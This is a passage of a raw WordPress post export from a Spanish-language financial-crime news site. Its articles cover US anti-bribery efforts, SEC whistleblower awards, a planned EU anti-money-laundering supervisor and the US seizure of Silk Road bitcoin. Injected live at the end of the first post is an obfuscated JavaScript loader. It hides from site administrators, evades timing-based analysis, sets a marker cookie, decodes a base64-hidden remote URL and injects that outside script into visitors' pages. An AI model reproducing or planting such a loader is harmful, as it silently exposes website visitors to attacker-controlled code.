para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede 